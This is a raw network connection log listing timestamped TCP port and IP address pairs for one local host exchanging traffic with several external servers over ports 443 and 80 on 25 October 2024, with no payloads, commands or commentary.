Oct 25, 2024 10:19:29.933166981 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.933178902 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.933233976 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.933253050 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.933357954 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.933367014 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.933372974 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.933407068 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.933824062 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.933868885 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.933909893 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.934837103 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.934848070 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.934874058 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.934895992 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.934915066 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.934946060 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.934969902 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.935902119 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.935961008 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.936007023 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.936048985 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.936090946 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.937083960 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.937096119 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.937138081 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.937154055 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.937206984 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.937221050 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.937237978 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.937272072 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.937279940 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.937324047 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.937931061 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.937987089 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.938020945 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.938699007 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.938749075 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.938841105 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.018534899 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.018558025 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.018603086 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.019726038 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.019778967 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.106174946 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:30.106466055 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:30.129892111 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.129924059 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.147351980 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.147367001 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.241106987 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.241146088 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.261068106 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.261091948 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.278424978 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.278459072 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.296163082 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.296186924 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.300224066 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:30.300251961 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:30.302242994 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:30.302252054 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:30.346724987 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:30.346772909 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:30.346995115 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:30.347414970 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:30.347433090 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:30.483196974 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:30.483285904 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:30.718698025 CEST	49704	80	192.168.2.6	199.232.210.172
Oct 25, 2024 10:19:30.724332094 CEST	80	49704	199.232.210.172	192.168.2.6
Oct 25, 2024 10:19:30.724462032 CEST	49704	80	192.168.2.6	199.232.210.172
Oct 25, 2024 10:19:30.950200081 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:30.950512886 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:30.950546026 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:30.951205015 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:30.953676939 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:30.953847885 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:30.953855038 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:30.953907967 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.005229950 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.083765984 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.083849907 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.083878040 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.083906889 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.083934069 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.083962917 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.084000111 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.084258080 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.084269047 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.084336042 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.084613085 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.084623098 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.130331039 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.199445009 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200109005 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200160980 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200174093 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.200195074 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200252056 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200261116 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.200268030 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200305939 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.200558901 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200653076 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200689077 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200691938 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.200702906 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.200742006 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.200747967 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.201558113 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.201632977 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.201720953 CEST	50071	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.201736927 CEST	443	50071	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.602384090 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.602427006 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.602500916 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.602782965 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:31.602793932 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:31.692220926 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:31.692259073 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:31.692400932 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:31.692841053 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:31.692853928 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:31.706012011 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:31.706022024 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:31.706075907 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:31.706290960 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:31.706301928 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.220446110 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.221604109 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.221666098 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.222239971 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.228991032 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.229104996 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.229419947 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.275337934 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.365751028 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.365895987 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.365972996 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.365987062 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.366018057 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.366064072 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.366108894 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.366384029 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.366430998 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.366445065 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.366544008 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.366624117 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.366669893 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.366678953 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.366717100 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.432269096 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.450786114 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.450809956 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.452214003 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.459422112 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.459636927 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.460221052 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.477063894 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.484124899 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.484401941 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.484446049 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.484471083 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.484499931 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.484539986 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.484575033 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.484581947 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.484610081 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.485419035 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.485470057 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.485495090 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.485512018 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.485518932 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.485824108 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.497080088 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.497090101 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.498704910 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.498775959 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.499214888 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.499305964 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.499385118 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.499391079 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.507339001 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.602896929 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.602972031 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.603012085 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.603038073 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.603054047 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.603065014 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.603077888 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.603101969 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.603118896 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.604371071 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.604417086 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.604664087 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.604676962 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.649157047 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.649199009 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.649286032 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.649349928 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.649399996 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.681111097 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.681197882 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.681206942 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.681252003 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.704363108 CEST	50077	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.704392910 CEST	443	50077	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.722285032 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.722471952 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.722564936 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.722560883 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.722632885 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.722697973 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.722717047 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.722853899 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.722923040 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.722937107 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.735343933 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.735436916 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.735503912 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.735557079 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.735595942 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.735620975 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.735646009 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.767932892 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.768002987 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.768019915 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.768049955 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.768919945 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.843291044 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.843302965 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.843420029 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.843434095 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.843503952 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.843550920 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.843550920 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.843590021 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.852982044 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.853049040 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.853071928 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.853092909 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.853123903 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.853137016 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.888192892 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.888298988 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.888370037 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.888411045 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.888468981 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.888485909 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.959145069 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.959220886 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.959285021 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.959367990 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.959487915 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.959496975 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:32.959536076 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:32.968846083 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.968899965 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.968930960 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:32.968944073 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:32.968986988 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:33.004947901 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.004959106 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.005013943 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.005343914 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.005353928 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.005388021 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.077505112 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.077512980 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.077558041 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.077749968 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.077756882 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.077811003 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.086735964 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.086760044 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.086849928 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:33.086873055 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.086915016 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:33.123477936 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.123495102 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.123579025 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.123650074 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.123657942 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.123698950 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.124171019 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.124222040 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.145976067 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.146064997 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.146084070 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:33.146111965 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.146125078 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.146164894 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:33.146477938 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:33.146498919 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.191263914 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:33.191395998 CEST	443	50082	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:33.191484928 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:33.192532063 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:33.192570925 CEST	443	50082	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:33.196635962 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.196712017 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.242727041 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.242805958 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.242854118 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.242924929 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.242963076 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.243019104 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.243042946 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.243086100 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.243124962 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.243158102 CEST	443	50073	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.243201017 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.243220091 CEST	50073	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.392370939 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.392419100 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.392477989 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.392802954 CEST	50083	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:33.392818928 CEST	443	50083	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:33.464134932 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.464710951 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.464818001 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:33.494930029 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:33.500880957 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:33.744059086 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:33.744138002 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:33.744218111 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:33.744532108 CEST	50084	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:33.744568110 CEST	443	50084	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:33.936038971 CEST	443	50082	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:33.936378002 CEST	50082	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:33.936467886 CEST	443	50082	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:33.937694073 CEST	443	50082	52.108.8.12	192.168.2.6
